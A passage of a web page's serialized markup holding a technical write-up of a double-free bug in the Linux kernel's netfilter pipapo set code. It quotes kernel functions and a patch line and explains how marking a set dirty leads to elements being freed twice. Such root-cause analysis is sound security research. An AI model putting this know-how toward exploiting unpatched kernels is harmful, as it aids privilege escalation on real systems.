m);\n",{"type":22,"tag":264,"props":52255,"children":52256},{"class":1534,"line":5113},[52257],{"type":22,"tag":264,"props":52258,"children":52259},{"style":4344},[52260],{"type":27,"value":52261},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":264,"props":52263,"children":52264},{"class":1534,"line":5145},[52265],{"type":22,"tag":264,"props":52266,"children":52267},{"style":1539},[52268],{"type":27,"value":52166},{"type":22,"tag":264,"props":52270,"children":52271},{"class":1534,"line":5153},[52272],{"type":22,"tag":264,"props":52273,"children":52274},{"style":1539},[52275],{"type":27,"value":52190},{"type":22,"tag":264,"props":52277,"children":52278},{"class":1534,"line":5213},[52279],{"type":22,"tag":264,"props":52280,"children":52281},{"style":1539},[52282],{"type":27,"value":52283},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":22,"tag":23,"props":52285,"children":52286},{},[52287,52289,52295,52296,52302,52304,52310,52312,52318,52320,52325,52327,52333,52335,52341,52343,52349],{"type":27,"value":52288},"If the ",{"type":22,"tag":257,"props":52290,"children":52292},{"className":52291},[],[52293],{"type":27,"value":52294},"priv->dirty",{"type":27,"value":12290},{"type":22,"tag":257,"props":52297,"children":52299},{"className":52298},[],[52300],{"type":27,"value":52301},"priv->clone",{"type":27,"value":52303}," variables are set, ",{"type":22,"tag":257,"props":52305,"children":52307},{"className":52306},[],[52308],{"type":27,"value":52309},"nft_set_pipapo_match_destroy()",{"type":27,"value":52311}," is called twice, once with ",{"type":22,"tag":257,"props":52313,"children":52315},{"className":52314},[],[52316],{"type":27,"value":52317},"priv->match",{"type":27,"value":52319}," as an argument, and then again with ",{"type":22,"tag":257,"props":52321,"children":52323},{"className":52322},[],[52324],{"type":27,"value":52301},{"type":27,"value":52326},". Looking at what this function does, we can see that it is iterating over the ",{"type":22,"tag":257,"props":52328,"children":52330},{"className":52329},[],[52331],{"type":27,"value":52332},"setelem",{"type":27,"value":52334},"s of the ",{"type":22,"tag":257,"props":52336,"children":52338},{"className":52337},[],[52339],{"type":27,"value":52340},"set",{"type":27,"value":52342}," and calling ",{"type":22,"tag":257,"props":52344,"children":52346},{"className":52345},[],[52347],{"type":27,"value":52348},"nf_tables_set_elem_destroy()",{"type":27,"value":52350}," for each of them.",{"type":22,"tag":618,"props":52352,"children":52354},{"className":17815,"code":52353,"language":4449,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[52355],{"type":22,"tag":257,"props":52356,"children":52357},{"__ignoreMap":7},[52358,52405,52433,52459,52466,52487,52500,52507,52604,52612,52619,52674,52695,52702,52805,52817,52824,52860,52867,52901,52908],{"type":22,"tag":264,"props":52359,"children":52360},{"class":1534,"line":1535},[52361,52366,52371,52376,52380,52384,52388,52393,52397,52401],{"type":22,"tag":264,"props":52362,"children":52363},{"style":4293},[52364],{"type":27,"value":52365},"static",{"type":22,"tag":264,"props":52367,"children":52368},{"style":4293},[52369],{"type":27,"value":52370}," void",{"type":22,"tag":264,"props":52372,"children":52373},{"style":4401},[52374],{"type":27,"value":52375}," nft_set_pipapo_match_destroy",{"type":22,"tag":264,"props":52377,"children":52378},{"style":1539},[52379],{"type":27,"value":2660},{"type":22,"tag":264,"props":52381,"children":52382},{"style":4293},[52383],{"type":27,"value":10953},{"type":22,"tag":264,"props":52385,"children":52386},{"style":4293},[52387],{"type":27,"value":22458},{"type":22,"tag":264,"props":52389,"children":52390},{"style":1539},[52391],{"type":27,"value":52392}," nft_ctx ",{"type":22,"tag":264,"props":52394,"children":52395},{"style":4309},[52396],{"type":27,"value":5865},{"type":22,"tag":264,"props":52398,"children":52399},{"style":1549},[52400],{"type":27,"value":21587},{"type":22,"tag":264,"props":52402,"children":52403},{"style":1539},[52404],{"type":27,"value":4812},{"type":22,"tag":264,"props":52406,"children":52407},{"class":1534,"line":1545},[52408,52412,52416,52421,52425,52429],{"type":22,"tag":264,"props":52409,"children":52410},{"style":4293},[52411],{"type":27,"value":32862},{"type":22,"tag":264,"props":52413,"children":52414},{"style":4293},[52415],{"type":27,"value":22458},{"type":22,"tag":264,"props":52417,"children":52418},{"style":1539},[52419],{"type":27,"value":52420}," nft_set ",{"type":22,"tag":264,"props":52422,"children":52423},{"style":4309},[52424],{"type":27,"value":5865},{"type":22,"tag":264,"props":52426,"children":52427},{"style":1549},[52428],{"type":27,"value":52340},{"type":22,"tag":264,"props":52430,"children":52431},{"style":1539},[52432],{"type":27,"value":4812},{"type":22,"tag":264,"props":52434,"children":52435},{"class":1534,"line":1560},[52436,52441,52446,52450,52455],{"type":22,"tag":264,"props":52437,"children":52438},{"style":4293},[52439],{"type":27,"value":52440},"      struct",{"type":22,"tag":264,"props":52442,"children":52443},{"style":1539},[52444],{"type":27,"value":52445}," nft_pipapo_match ",{"type":22,"tag":264,"props":52447,"children":52448},{"style":4309},[52449],{"type":27,"value":5865},{"type":22,"tag":264,"props":52451,"children":52452},{"style":1549},[52453],{"type":27,"value":52454},"m",{"type":22,"tag":264,"props":52456,"children":52457},{"style":1539},[52458],{"type":27,"value":4463},{"type":22,"tag":264,"props":52460,"children":52461},{"class":1534,"line":1569},[52462],{"type":22,"tag":264,"props":52463,"children":52464},{"style":1539},[52465],{"type":27,"value":1542},{"type":22,"tag":264,"props":52467,"children":52468},{"class":1534,"line":1583},[52469,52473,52478,52482],{"type":22,"tag":264,"props":52470,"children":52471},{"style":4293},[52472],{"type":27,"value":22458},{"type":22,"tag":264,"props":52474,"children":52475},{"style":1539},[52476],{"type":27,"value":52477}," nft_pipapo_field ",{"type":22,"tag":264,"props":52479,"children":52480},{"style":4309},[52481],{"type":27,"value":5865},{"type":22,"tag":264,"props":52483,"children":52484},{"style":1539},[52485],{"type":27,"value":52486},"f;\n",{"type":22,"tag":264,"props":52488,"children":52489},{"class":1534,"line":1603},[52490,52495],{"type":22,"tag":264,"props":52491,"children":52492},{"style":4293},[52493],{"type":27,"value":52494}," int",{"type":22,"tag":264,"props":52496,"children":52497},{"style":1539},[52498],{"type":27,"value":52499}," i, r;\n",{"type":22,"tag":264,"props":52501,"children":52502},{"class":1534,"line":1612},[52503],{"type":22,"tag":264,"props":52504,"children":52505},{"emptyLinePlaceholder":17},[52506],{"type":27,"value":4986},{"type":22,"tag":264,"props":52508,"children":52509},{"class":1534,"line":1621},[52510,52515,52520,52524,52528,52533,52537,52542,52546,52550,52555,52559,52563,52567,52572,52577,52581,52586,52591,52596,52600],{"type":22,"tag":264,"props":52511,"children":52512},{"style":4328},[52513],{"type":27,"value":52514}," for",{"type":22,"tag":264,"props":52516,"children":52517},{"style":1539},[52518],{"type":27,"value":52519}," (i ",{"type":22,"tag":264,"props":52521,"children":52522},{"style":4309},[52523],{"type":27,"value":429},{"type":22,"tag":264,"props":52525,"children":52526},{"style":4344},[52527],{"type":27,"value":4347},{"type":22,"tag":264,"props":52529,"children":52530},{"style":1539},[52531],{"type":27,"value":52532},", f ",{"type":22,"tag":264,"props":52534,"children":52535},{"style":4309},[52536],{"type":27,"value":429},{"type":22,"tag":264,"props":52538,"children":52539},{"style":1549},[52540],{"type":27,"value":52541}," m",{"type":22,"tag":264,"props":52543,"children":52544},{"style":1539},[52545],{"type":27,"value":15056},{"type":22,"tag":264,"props":52547,"children":52548},{"style":1549},[52549],{"type":27,"value":34401},{"type":22,"tag":264,"props":52551,"children":52552},{"style":1539},[52553],{"type":27,"value":52554},"; i ",{"type":22,"tag":264,"props":52556,"children":52557},{"style":4309},[52558],{"type":27,"value":7097},{"type":22,"tag":264,"props":52560,"children":52561},{"style":1549},[52562],{"type":27,"value":52541},{"type":22,"tag":264,"props":52564,"children":52565},{"style":1539},[52566],{"type":27,"value":15056},{"type":22,"tag":264,"props":52568,"children":52569},{"style":1549},[52570],{"type":27,"value":52571},"field_count",{"type":22,"tag":264,"props":52573,"children":52574},{"style":4309},[52575],{"type":27,"value":52576}," -",{"type":22,"tag":264,"props":52578,"children":52579},{"style":4344},[52580],{"type":27,"value":5817},{"type":22,"tag":264,"props":52582,"children":52583},{"style":1539},[52584],{"type":27,"value":52585},"; i",{"type":22,"tag":264,"props":52587,"children":52588},{"style":4309},[52589],{"type":27,"value":52590},"++",{"type":22,"tag":264,"props":52592,"children":52593},{"style":1539},[52594],{"type":27,"value":52595},", f",{"type":22,"tag":264,"props":52597,"children":52598},{"style":4309},[52599],{"type":27,"value":52590},{"type":22,"tag":264,"props":52601,"children":52602},{"style":1539},[52603],{"type":27,"value":4463},{"type":22,"tag":264,"props":52605,"children":52606},{"class":1534,"line":1629},[52607],{"type":22,"tag":264,"props":52608,"children":52609},{"style":1539},[52610],{"type":27,"value":52611},"  ;\n",{"type":22,"tag":264,"props":52613,"children":52614},{"class":1534,"line":1642},[52615],{"type":22,"tag":264,"props":52616,"children":52617},{"emptyLinePlaceholder":17},[52618],{"type":27,"value":4986},{"type":22,"tag":264,"props":52620,"children":52621},{"class":1534,"line":1660},[52622,52626,52631,52635,52639,52644,52648,52652,52656,52661,52666,52670],{"type":22,"tag":264,"props":52623,"children":52624},{"style":4328},[52625],{"type":27,"value":52514},{"type":22,"tag":264,"props":52627,"children":52628},{"style":1539},[52629],{"type":27,"value":52630}," (r ",{"type":22,"tag":264,"props":52632,"children":52633},{"style":4309},[52634],{"type":27,"value":429},{"type":22,"tag":264,"props":52636,"children":52637},{"style":4344},[52638],{"type":27,"value":4347},{"type":22,"tag":264,"props":52640,"children":52641},{"style":1539},[52642],{"type":27,"value":52643},"; r ",{"type":22,"tag":264,"props":52645,"children":52646},{"style":4309},[52647],{"type":27,"value":7097},{"type":22,"tag":264,"props":52649,"children":52650},{"style":1549},[52651],{"type":27,"value":34287},{"type":22,"tag":264,"props":52653,"children":52654},{"style":1539},[52655],{"type":27,"value":15056},{"type":22,"tag":264,"props":52657,"children":52658},{"style":1549},[52659],{"type":27,"value":52660},"rules",{"type":22,"tag":264,"props":52662,"children":52663},{"style":1539},[52664],{"type":27,"value":52665},"; r",{"type":22,"tag":264,"props":52667,"children":52668},{"style":4309},[52669],{"type":27,"value":52590},{"type":22,"tag":264,"props":52671,"children":52672},{"style":1539},[52673],{"type":27,"value":16103},{"type":22,"tag":264,"props":52675,"children":52676},{"class":1534,"line":1668},[52677,52681,52686,52690],{"type":22,"tag":264,"props":52678,"children":52679},{"style":4293},[52680],{"type":27,"value":7087},{"type":22,"tag":264,"props":52682,"children":52683},{"style":1539},[52684],{"type":27,"value":52685}," nft_pipapo_elem ",{"type":22,"tag":264,"props":52687,"children":52688},{"style":4309},[52689],{"type":27,"value":5865},{"type":22,"tag":264,"props":52691,"children":52692},{"style":1539},[52693],{"type":27,"value":52694},"e;\n",{"type":22,"tag":264,"props":52696,"children":52697},{"class":1534,"line":1677},[52698],{"type":22,"tag":264,"props":52699,"children":52700},{"emptyLinePlaceholder":17},[52701],{"type":27,"value":4986},{"type":22,"tag":264,"props":52703,"children":52704},{"class":1534,"line":1686},[52705,52709,52713,52717,52721,52725,52729,52733,52737,52741,52745,52749,52754,52759,52763,52767,52771,52776,52780,52784,52788,52792,52797,52801],{"type":22,"tag":264,"props":52706,"children":52707},{"style":4328},[52708],{"type":27,"value":32709},{"type":22,"tag":264,"props":52710,"children":52711},{"style":1539},[52712],{"type":27,"value":52630},{"type":22,"tag":264,"props":52714,"children":52715},{"style":4309},[52716],{"type":27,"value":7097},{"type":22,"tag":264,"props":52718,"children":52719},{"style":1549},[52720],{"type":27,"value":34287},{"type":22,"tag":264,"props":52722,"children":52723},{"style":1539},[52724],{"type":27,"value":15056},{"type":22,"tag":264,"props":52726,"children":52727},{"style":1549},[52728],{"type":27,"value":52660},{"type":22,"tag":264,"props":52730,"children":52731},{"style":4309},[52732],{"type":27,"value":52576},{"type":22,"tag":264,"props":52734,"children":52735},{"style":4344},[52736],{"type":27,"value":5817},{"type":22,"tag":264,"props":52738,"children":52739},{"style":4309},[52740],{"type":27,"value":15484},{"type":22,"tag":264,"props":52742,"children":52743},{"style":1549},[52744],{"type":27,"value":34287},{"type":22,"tag":264,"props":52746,"children":52747},{"style":1539},[52748],{"type":27,"value":15056},{"type":22,"tag":264,"props":52750,"children":52751},{"style":1549},[52752],{"type":27,"value":52753},"mt",{"type":22,"tag":264,"props":52755,"children":52756},{"style":1539},[52757],{"type":27,"value":52758},"[r ",{"type":22,"tag":264,"props":52760,"children":52761},{"style":4309},[52762],{"type":27,"value":673},{"type":22,"tag":264,"props":52764,"children":52765},{"style":4344},[52766],{"type":27,"value":5817},{"type":22,"tag":264,"props":52768,"children":52769},{"style":1539},[52770],{"type":27,"value":51669},{"type":22,"tag":264,"props":52772,"children":52773},{"style":1549},[52774],{"type":27,"value":52775},"e",{"type":22,"tag":264,"props":52777,"children":52778},{"style":4309},[52779],{"type":27,"value":4585},{"type":22,"tag":264,"props":52781,"children":52782},{"style":1549},[52783],{"type":27,"value":34287},{"type":22,"tag":264,"props":52785,"children":52786},{"style":1539},[52787],{"type":27,"value":15056},{"type":22,"tag":264,"props":52789,"children":52790},{"style":1549},[52791],{"type":27,"value":52753},{"type":22,"tag":264,"props":52793,"children":52794},{"style":1539},[52795],{"type":27,"value":52796},"[r].",{"type":22,"tag":264,"props":52798,"children":52799},{"style":1549},[52800],{"type":27,"value":52775},{"type":22,"tag":264,"props":52802,"children":52803},{"style":1539},[52804],{"type":27,"value":4463},{"type":22,"tag":264,"props":52806,"children":52807},{"class":1534,"line":4948},[52808,52813],{"type":22,"tag":264,"props":52809,"children":52810},{"style":4328},[52811],{"type":27,"value":52812},"   continue",{"type":22,"tag":264,"props":52814,"children":52815},{"style":1539},[52816],{"type":27,"value":4322},{"type":22,"tag":264,"props":52818,"children":52819},{"class":1534,"line":4957},[52820],{"type":22,"tag":264,"props":52821,"children":52822},{"emptyLinePlaceholder":17},[52823],{"type":27,"value":4986},{"type":22,"tag":264,"props":52825,"children":52826},{"class":1534,"line":4980},[52827,52832,52836,52840,52844,52848,52852,52856],{"type":22,"tag":264,"props":52828,"children":52829},{"style":1539},[52830],{"type":27,"value":52831},"  e ",{"type":22,"tag":264,"props":52833,"children":52834},{"style":4309},[52835],{"type":27,"value":429},{"type":22,"tag":264,"props":52837,"children":52838},{"style":1549},[52839],{"type":27,"value":34287},{"type":22,"tag":264,"props":52841,"children":52842},{"style":1539},[52843],{"type":27,"value":15056},{"type":22,"tag":264,"props":52845,"children":52846},{"style":1549},[52847],{"type":27,"value":52753},{"type":22,"tag":264,"props":52849,"children":52850},{"style":1539},[52851],{"type":27,"value":52796},{"type":22,"tag":264,"props":52853,"children":52854},{"style":1549},[52855],{"type":27,"value":52775},{"type":22,"tag":264,"props":52857,"children":52858},{"style":1539},[52859],{"type":27,"value":4322},{"type":22,"tag":264,"props":52861,"children":52862},{"class":1534,"line":4989},[52863],{"type":22,"tag":264,"props":52864,"children":52865},{"emptyLinePlaceholder":17},[52866],{"type":27,"value":4986},{"type":22,"tag":264,"props":52868,"children":52869},{"class":1534,"line":4998},[52870,52875,52880,52884,52888,52892,52897],{"type":22,"tag":264,"props":52871,"children":52872},{"style":4401},[52873],{"type":27,"value":52874},"  nf_tables_set_elem_destroy",{"type":22,"tag":264,"props":52876,"children":52877},{"style":1539},[52878],{"type":27,"value":52879},"(ctx, set, ",{"type":22,"tag":264,"props":52881,"children":52882},{"style":4309},[52883],{"type":27,"value":4413},{"type":22,"tag":264,"props":52885,"children":52886},{"style":1549},[52887],{"type":27,"value":52775},{"type":22,"tag":264,"props":52889,"children":52890},{"style":1539},[52891],{"type":27,"value":15056},{"type":22,"tag":264,"props":52893,"children":52894},{"style":1549},[52895],{"type":27,"value":52896},"priv",{"type":22,"tag":264,"props":52898,"children":52899},{"style":1539},[52900],{"type":27,"value":5142},{"type":22,"tag":264,"props":52902,"children":52903},{"class":1534,"line":5067},[52904],{"type":22,"tag":264,"props":52905,"children":52906},{"style":1539},[52907],{"type":27,"value":10894},{"type":22,"tag":264,"props":52909,"children":52910},{"class":1534,"line":5075},[52911],{"type":22,"tag":264,"props":52912,"children":52913},{"style":1539},[52914],{"type":27,"value":1692},{"type":22,"tag":23,"props":52916,"children":52917},{},[52918,52920,52926,52928,52933],{"type":27,"value":52919},"Which will then ",{"type":22,"tag":257,"props":52921,"children":52923},{"className":52922},[],[52924],{"type":27,"value":52925},"kfree()",{"type":27,"value":52927}," the ",{"type":22,"tag":257,"props":52929,"children":52931},{"className":52930},[],[52932],{"type":27,"value":52332},{"type":27,"value":210},{"type":22,"tag":618,"props":52935,"children":52937},{"className":17815,"code":52936,"language":4449,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[52938],{"type":22,"tag":257,"props":52939,"children":52940},{"__ignoreMap":7},[52941,52982,53010,53039,53046,53081,53088,53109,53132,53139,53152],{"type":22,"tag":264,"props":52942,"children":52943},{"class":1534,"line":1535},[52944,52949,52954,52958,52962,52966,52970,52974,52978],{"type":22,"tag":264,"props":52945,"children":52946},{"style":4293},[52947],{"type":27,"value":52948},"void",{"type":22,"tag":264,"props":52950,"children":52951},{"style":4401},[52952],{"type":27,"value":52953}," nf_tables_set_elem_destroy",{"type":22,"tag":264,"props":52955,"children":52956},{"style":1539},[52957],{"type":27,"value":2660},{"type":22,"tag":264,"props":52959,"children":52960},{"style":4293},[52961],{"type":27,"value":10953},{"type":22,"tag":264,"props":52963,"children":52964},{"style":4293},[52965],{"type":27,"value":22458},{"type":22,"tag":264,"props":52967,"children":52968},{"style":1539},[52969],{"type":27,"value":52392},{"type":22,"tag":264,"props":52971,"children":52972},{"style":4309},[52973],{"type":27,"value":5865},{"type":22,"tag":264,"props":52975,"children":52976},{"style":1549},[52977],{"type":27,"value":21587},{"type":22,"tag":264,"props":52979,"children":52980},{"style":1539},[52981],{"type":27,"value":4812},{"type":22,"tag":264,"props":52983,"children":52984},{"class":1534,"line":1545},[52985,52990,52994,52998,53002,53006],{"type":22,"tag":264,"props":52986,"children":52987},{"style":4293},[52988],{"type":27,"value":52989},"    const",{"type":22,"tag":264,"props":52991,"children":52992},{"style":4293},[52993],{"type":27,"value":22458},{"type":22,"tag":264,"props":52995,"children":52996},{"style":1539},[52997],{"type":27,"value":52420},{"type":22,"tag":264,"props":52999,"children":53000},{"style":4309},[53001],{"type":27,"value":5865},{"type":22,"tag":264,"props":53003,"children":53004},{"style":1549},[53005],{"type":27,"value":52340},{"type":22,"tag":264,"props":53007,"children":53008},{"style":1539},[53009],{"type":27,"value":4812},{"type":22,"tag":264,"props":53011,"children":53012},{"class":1534,"line":1560},[53013,53017,53021,53026,53030,53035],{"type":22,"tag":264,"props":53014,"children":53015},{"style":4293},[53016],{"type":27,"value":52989},{"type":22,"tag":264,"props":53018,"children":53019},{"style":4293},[53020],{"type":27,"value":22458},{"type":22,"tag":264,"props":53022,"children":53023},{"style":1539},[53024],{"type":27,"value":53025}," nft_elem_priv ",{"type":22,"tag":264,"props":53027,"children":53028},{"style":4309},[53029],{"type":27,"value":5865},{"type":22,"tag":264,"props":53031,"children":53032},{"style":1549},[53033],{"type":27,"value":53034},"elem_priv",{"type":22,"tag":264,"props":53036,"children":53037},{"style":1539},[53038],{"type":27,"value":4463},{"type":22,"tag":264,"props":53040,"children":53041},{"class":1534,"line":1569},[53042],{"type":22,"tag":264,"props":53043,"children":53044},{"style":1539},[53045],{"type":27,"value":1542},{"type":22,"tag":264,"props":53047,"children":53048},{"class":1534,"line":1583},[53049,53053,53058,53062,53067,53071,53076],{"type":22,"tag":264,"props":53050,"children":53051},{"style":4293},[53052],{"type":27,"value":22458},{"type":22,"tag":264,"props":53054,"children":53055},{"style":1539},[53056],{"type":27,"value":53057}," nft_set_ext ",{"type":22,"tag":264,"props":53059,"children":53060},{"style":4309},[53061],{"type":27,"value":5865},{"type":22,"tag":264,"props":53063,"children":53064},{"style":1539},[53065],{"type":27,"value":53066},"ext ",{"type":22,"tag":264,"props":53068,"children":53069},{"style":4309},[53070],{"type":27,"value":429},{"type":22,"tag":264,"props":53072,"children":53073},{"style":4401},[53074],{"type":27,"value":53075}," nft_set_elem_ext",{"type":22,"tag":264,"props":53077,"children":53078},{"style":1539},[53079],{"type":27,"value":53080},"(set, elem_priv);\n",{"type":22,"tag":264,"props":53082,"children":53083},{"class":1534,"line":1603},[53084],{"type":22,"tag":264,"props":53085,"children":53086},{"emptyLinePlaceholder":17},[53087],{"type":27,"value":4986},{"type":22,"tag":264,"props":53089,"children":53090},{"class":1534,"line":1612},[53091,53095,53099,53104],{"type":22,"tag":264,"props":53092,"children":53093},{"style":4328},[53094],{"type":27,"value":17088},{"type":22,"tag":264,"props":53096,"children":53097},{"style":1539},[53098],{"type":27,"value":4370},{"type":22,"tag":264,"props":53100,"children":53101},{"style":4401},[53102],{"type":27,"value":53103},"nft_set_ext_exists",{"type":22,"tag":264,"props":53105,"children":53106},{"style":1539},[53107],{"type":27,"value":53108},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":22,"tag":264,"props":53110,"children":53111},{"class":1534,"line":1621},[53112,53117,53122,53127],{"type":22,"tag":264,"props":53113,"children":53114},{"style":4401},[53115],{"type":27,"value":53116},"  nft_set_elem_expr_destroy",{"type":22,"tag":264,"props":53118,"children":53119},{"style":1539},[53120],{"type":27,"value":53121},"(ctx, ",{"type":22,"tag":264,"props":53123,"children":53124},{"style":4401},[53125],{"type":27,"value":53126},"nft_set_ext_expr",{"type":22,"tag":264,"props":53128,"children":53129},{"style":1539},[53130],{"type":27,"value":53131},"(ext));\n",{"type":22,"tag":264,"props":53133,"children":53134},{"class":1534,"line":1629},[53135],{"type":22,"tag":264,"props":53136,"children":53137},{"emptyLinePlaceholder":17},[53138],{"type":27,"value":4986},{"type":22,"tag":264,"props":53140,"children":53141},{"class":1534,"line":1642},[53142,53147],{"type":22,"tag":264,"props":53143,"children":53144},{"style":4401},[53145],{"type":27,"value":53146}," kfree",{"type":22,"tag":264,"props":53148,"children":53149},{"style":1539},[53150],{"type":27,"value":53151},"(elem_priv);\n",{"type":22,"tag":264,"props":53153,"children":53154},{"class":1534,"line":1660},[53155],{"type":22,"tag":264,"props":53156,"children":53157},{"style":1539},[53158],{"type":27,"value":1692},{"type":22,"tag":23,"props":53160,"children":53161},{},[53162,53163,53169,53171,53176,53178,53183,53185,53190,53191,53196,53198,53203,53205,53210,53212,53217],{"type":27,"value":17914},{"type":22,"tag":257,"props":53164,"children":53166},{"className":53165},[],[53167],{"type":27,"value":53168},"nft_pipapo_match",{"type":27,"value":53170}," objects contain views of the ",{"type":22,"tag":257,"props":53172,"children":53174},{"className":53173},[],[53175],{"type":27,"value":52332},{"type":27,"value":53177},"'s of a ",{"type":22,"tag":257,"props":53179,"children":53181},{"className":53180},[],[53182],{"type":27,"value":52340},{"type":27,"value":53184},". The difference between the ",{"type":22,"tag":257,"props":53186,"children":53188},{"className":53187},[],[53189],{"type":27,"value":52317},{"type":27,"value":12290},{"type":22,"tag":257,"props":53192,"children":53194},{"className":53193},[],[53195],{"type":27,"value":52301},{"type":27,"value":53197}," match objects is that the clone has a view of not only already committed ",{"type":22,"tag":257,"props":53199,"children":53201},{"className":53200},[],[53202],{"type":27,"value":52332},{"type":27,"value":53204},"'s that the \"normal\" one has but also a view of the ",{"type":22,"tag":257,"props":53206,"children":53208},{"className":53207},[],[53209],{"type":27,"value":52332},{"type":27,"value":53211},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":22,"tag":257,"props":53213,"children":53215},{"className":53214},[],[53216],{"type":27,"value":52317},{"type":27,"value":210},{"type":22,"tag":181,"props":53219,"children":53221},{"id":53220},"root-cause-analysis",[53222],{"type":27,"value":53223},"Root-cause analysis",{"type":22,"tag":23,"props":53225,"children":53226},{},[53227,53229,53235,53237,53242],{"type":27,"value":53228},"So ",{"type":22,"tag":257,"props":53230,"children":53232},{"className":53231},[],[53233],{"type":27,"value":53234},"nf_tables_set_elem_destroy",{"type":27,"value":53236}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":22,"tag":257,"props":53238,"children":53240},{"className":53239},[],[53241],{"type":27,"value":52332},{"type":27,"value":53243},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":22,"tag":23,"props":53245,"children":53246},{},[53247,53249,53254,53256,53261,53263,53268,53270,53275,53277,53282],{"type":27,"value":53248},"We should now try to understand how to reach that path with the ",{"type":22,"tag":257,"props":53250,"children":53252},{"className":53251},[],[53253],{"type":27,"value":52294},{"type":27,"value":53255}," flag set, which is a member of the private data of a pipapo ",{"type":22,"tag":257,"props":53257,"children":53259},{"className":53258},[],[53260],{"type":27,"value":52332},{"type":27,"value":53262}," that becomes true whenever a change is made to the ",{"type":22,"tag":257,"props":53264,"children":53266},{"className":53265},[],[53267],{"type":27,"value":52340},{"type":27,"value":53269}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":22,"tag":257,"props":53271,"children":53273},{"className":53272},[],[53274],{"type":27,"value":52340},{"type":27,"value":53276}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":22,"tag":257,"props":53278,"children":53280},{"className":53279},[],[53281],{"type":27,"value":52340},{"type":27,"value":53283}," dirty by inserting a new element.",{"type":22,"tag":618,"props":53285,"children":53287},{"className":17815,"code":53286,"language":4449,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[53288],{"type":22,"tag":257,"props":53289,"children":53290},{"__ignoreMap":7},[53291,53361,53390,53415,53422,53429,53458,53465],{"type":22,"tag":264,"props":53292,"children":53293},{"class":1534,"line":1535},[53294,53298,53302,53307,53311,53315,53319,53324,53328,53333,53337,53341,53345,53349,53353,53357],{"type":22,"tag":264,"props":53295,"children":53296},{"style":4293},[53297],{"type":27,"value":52365},{"type":22,"tag":264,"props":53299,"children":53300},{"style":4293},[53301],{"type":27,"value":52494},{"type":22,"tag":264,"props":53303,"children":53304},{"style":4401},[53305],{"type":27,"value":53306}," nft_pipapo_insert",{"type":22,"tag":264,"props":53308,"children":53309},{"style":1539},[53310],{"type":27,"value":2660},{"type":22,"tag":264,"props":53312,"children":53313},{"style":4293},[53314],{"type":27,"value":10953},{"type":22,"tag":264,"props":53316,"children":53317},{"style":4293},[53318],{"type":27,"value":22458},{"type":22,"tag":264,"props":53320,"children":53321},{"style":1539},[53322],{"type":27,"value":53323}," net ",{"type":22,"tag":264,"props":53325,"children":53326},{"style":4309},[53327],{"type":27,"value":5865},{"type":22,"tag":264,"props":53329,"children":53330},{"style":1549},[53331],{"type":27,"value":53332},"net",{"type":22,"tag":264,"props":53334,"children":53335},{"style":1539},[53336],{"type":27,"value":4380},{"type":22,"tag":264,"props":53338,"children":53339},{"style":4293},[53340],{"type":27,"value":10953},{"type":22,"tag":264,"props":53342,"children":53343},{"style":4293},[53344],{"type":27,"value":22458},{"type":22,"tag":264,"props":53346,"children":53347},{"style":1539},[53348],{"type":27,"value":52420},{"type":22,"tag":264,"props":53350,"children":53351},{"style":4309},[53352],{"type":27,"value":5865},{"type":22,"tag":264,"props":53354,"children":53355},{"style":1549},[53356],{"type":27,"value":52340},{"type":22,"tag":264,"props":53358,"children":53359},{"style":1539},[53360],{"type":27,"value":4812},{"type":22,"tag":264,"props":53362,"children":53363},{"class":1534,"line":1545},[53364,53368,53372,53377,53381,53386],{"type":22,"tag":264,"props":53365,"children":53366},{"style":4293},[53367],{"type":27,"value":34217},{"type":22,"tag":264,"props":53369,"children":53370},{"style":4293},[53371],{"type":27,"value":22458},{"type":22,"tag":264,"props":53373,"children":53374},{"style":1539},[53375],{"type":27,"value":53376}," nft_set_elem ",{"type":22,"tag":264,"props":53378,"children":53379},{"style":4309},[53380],{"type":27,"value":5865},{"type":22,"tag":264,"props":53382,"children":53383},{"style":1549},[53384],{"type":27,"value":53385},"elem",{"type":22,"tag":264,"props":53387,"children":53388},{"style":1539},[53389],{"type":27,"value":4812},{"type":22,"tag":264,"props":53391,"children":53392},{"class":1534,"line":1560},[53393,53398,53402,53407,53411],{"type":22,"tag":264,"props":53394,"children":53395},{"style":4293},[53396],{"type":27,"value":53397},"        